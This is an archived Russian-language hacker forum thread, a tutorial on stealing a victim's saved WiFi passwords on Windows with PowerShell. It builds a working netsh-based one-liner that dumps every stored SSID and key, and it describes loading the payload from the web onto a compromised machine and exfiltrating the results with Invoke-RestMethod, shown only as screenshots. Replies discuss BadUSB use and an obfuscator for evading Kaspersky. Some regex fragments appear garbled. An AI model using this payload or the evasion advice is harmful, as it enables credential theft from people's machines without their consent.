PDA

Просмотр полной версии : PowerShell для хакера (часть IX ) [Воруем сохраненные пароли от WiFi]


<~DarkNode~>
05.09.2017, 02:42
https://forum.antichat.xyz/attachments/4783267/img_f8f32a0759.png

Доброго времени суток колеги. Прошу извинить меня за столь редкий онлайн
(Увы не всегда получается с вами тут посидеть ) ) Вот появилась минутка , решил потратить ее на написания очередной статьи на тему "PowerShell для хакера"

Сразу же хочу обратить внимание , что эта статья нацелена на машини семейства от Windows 7 c WiFi адептарами ( в большинстве случаев ноутбуки)

И так. Вот что мы освоим в этой статье:

Научимся смотретьинформацию о WiFi подключениях средствами командной строки Windows

Извлекать сохраненные пароли в командной строке Windows

Немного освоим регулярные выражения в PowerShell

С помощью регулярных выражений составим полезную нагрузка для дампа паролей от WiFi сетей жертвы

Закрепим подгрузку PowerShell через WEB (https://forum.antichat.xyz/threads/558787/)

Закрепим отправку данных на веб-сервер методом Invoke-RestMethod.
И так друзья мои, зачем нам это все? Попытаюсь ответить:

Каждый сохранненный профиль от WiFi сети - это сегменты сети в которых бывает жертва и может оказаться ценным сегментом (пример - банковская WiFi сеть)

Пароль от домашнего WiFi может подойти к многим аккаунтам жертвы.

Готовых модулей в Metasploit и Emire для дампа WiFi я не встретил ( если я ошибся - прошу поправить меня и отписать в комментах)

Эта техника может быть использована для атак вида BadUSB ( спасибо за статьи @Dr.Lafa (https://forum.antichat.xyz/members/569885/) )

Ну и для общего развития
И так первое что мы освоим - это справку по команде netsh

https://forum.antichat.xyz/attachments/4783267/2.png

Конкретней нас интересует команда netsh wlan show profile
которая покажет нам список всех сохраненных WiFi

https://forum.antichat.xyz/attachments/4783267/1.png

Для того что бы извлечь пароль определенного профиля достаточно выполнить команду:
netsh wlan show profile key=clear
Очень важно передать параметр key=clear , иначе пароль не будет отображен в открытом виде.

https://forum.antichat.xyz/attachments/4783267/3.png

Ну вот с основными понятиями вроде как разобрались. Давайте перейдем к PowerShell. И так из этого всего вывода нам нужно отбросить ненужный текст и оставить только имя WiFi и Пароль от него.
Первым делом давайте выведем имена WiFi сетей c помощью оператора Select-String:
(netsh wlan show profiles) | Select-String "\.+)$"
Здесь мы в регулярном выражение фильтруем все строки где есть символ ":" и после которого следует больше одного (.+) символа и символ $ -- конец строки.

https://forum.antichat.xyz/attachments/4783267/4.png

Теперь давайте попытаемся вывести только SSID:
(netsh wlan show profiles) | Select-String "\.+)$" | %{$_.Matches.Groups[1].Value}
Скриплет %{$_.Matches.Groups[1].Value} -- берет из потокового вывода нужные нам совпадения и их значения. Но совпадения беруться из пробелами по-этому удаляем их функцией Trim()

https://forum.antichat.xyz/attachments/4783267/6.png

Для удобства все совпадения положим в переменную $name
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_}

https://forum.antichat.xyz/attachments/4783267/5.png

Теперь по этому же принципу нужно отобразить пароль от каждой SSID :

(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}
Добавляется команда (netsh wlan show profile name="$name" key=clear) , которая в качестве имени SSID берет переменную $name :

Но опять же таки тут много лишнего текста:

https://forum.antichat.xyz/attachments/4783267/7.png

Так как у нас вывод на русском языке то ключевое слово , которое нам нужно для регулярного выражения будет : "Содержимое ключа" и наш следующий запрос будет иметь примерно такой вид:

(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\.+)$"

https://forum.antichat.xyz/attachments/4783267/8.png

И конечная команда наша будет иметь примерно следующий вид:

(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize

https://forum.antichat.xyz/attachments/4783267/9.png

Ну а далее все по накатанной схеме:
Размещаем к примеру:

https://forum.antichat.xyz/attachments/4783267/12.png

Подгружаем на скомпрометированной машине:

https://forum.antichat.xyz/attachments/4783267/10.png

И ловим пароли от WiFi:

https://forum.antichat.xyz/attachments/4783267/11.png


Всем спасибо за внимание)
Видео немножко поже сделаю.

jsat
05.09.2017, 19:41
С нетерпением ждемс видео...

DSCH
05.09.2017, 23:47
DarkNODE, сними видео как настоирть такой консольку + на кали как постовить арчи стайл. одельнго буду благадорень.

OBLIVIONNN
06.09.2017, 10:06
А есть такой способ только для Android? Только без Android Terminala.

<~DarkNode~>
06.09.2017, 11:39
На сколько помню то для просмотра сохраненных паролей на андроиде нужен Рут доступ.
Обзаведусь микрофоном где то через месяц, на настройку ушло пару часов, нужно будет писать видео с голосом.
Вообщем сделаю.

Air7771
06.09.2017, 17:48
disconnekt сказал(а):

Статья отличная, только ключ показывается при условии, что пользователь локальный администратор. Или есть возможность посмотреть ключ из под обычного пользователя?


посмотреть ключ из под обычного пользователя? Пробовал не получилось...

<~DarkNode~>
07.09.2017, 22:18
disconnekt сказал(а):

Статья отличная, только ключ показывается при условии, что пользователь локальный администратор. Или есть возможность посмотреть ключ из под обычного пользователя?





Air7771 сказал(а):

посмотреть ключ из под обычного пользователя? Пробовал не получилось...



https://forum.antichat.xyz/attachments/4783491/img_b552522397.png





Дедок сказал(а):

Надеюсь такая консолька не отправляет пакетики трафика туда кем именуется )? уж очень дизаин не юзерфрендли для параноика )


Это обычный легковесный тайловый оконный менеджер i3 и немного настроенный конфиг.

https://forum.antichat.xyz/attachments/4783491/img_4f8cf28033.png

fysh
08.09.2017, 00:39
Полезный цикл статей, для себя нашел много интересного...давай еще $i++

<~DarkNode~>
08.09.2017, 11:25
Leon сказал(а):

Отличная статья, а антивири не ругаются?


Это не бинарный файл, это обычная команда для PowerShell. Не ругался и не должно в ближайшое время.

<~DarkNode~>
08.09.2017, 13:12
Leon сказал(а):

N

Есть рабочий способ обхода Каспера в PowerShell-Empire?



Последний раз помогал в этом деле обфускатор.
https://codeby.net/threads/powershe...oleznoj-nagruzki-powershell-obfuscator.59453/ (https://forum.antichat.xyz/threads/559453/)

e.exploit
09.09.2017, 15:01
Почему может не отображать ключ? Win7

OBLIVIONNN
22.10.2017, 21:16
Какими способами можно узнать пароль в MacOS ? кроме keychain.




~~DarkNode~~ сказал(а):

Доброго времени суток


Как можно узнать пароль сохраненных Wi-Fi сетей в MacOS ? Там в терминале используется BASH , просто я с MacOS не очень знаком может вы в курсе ?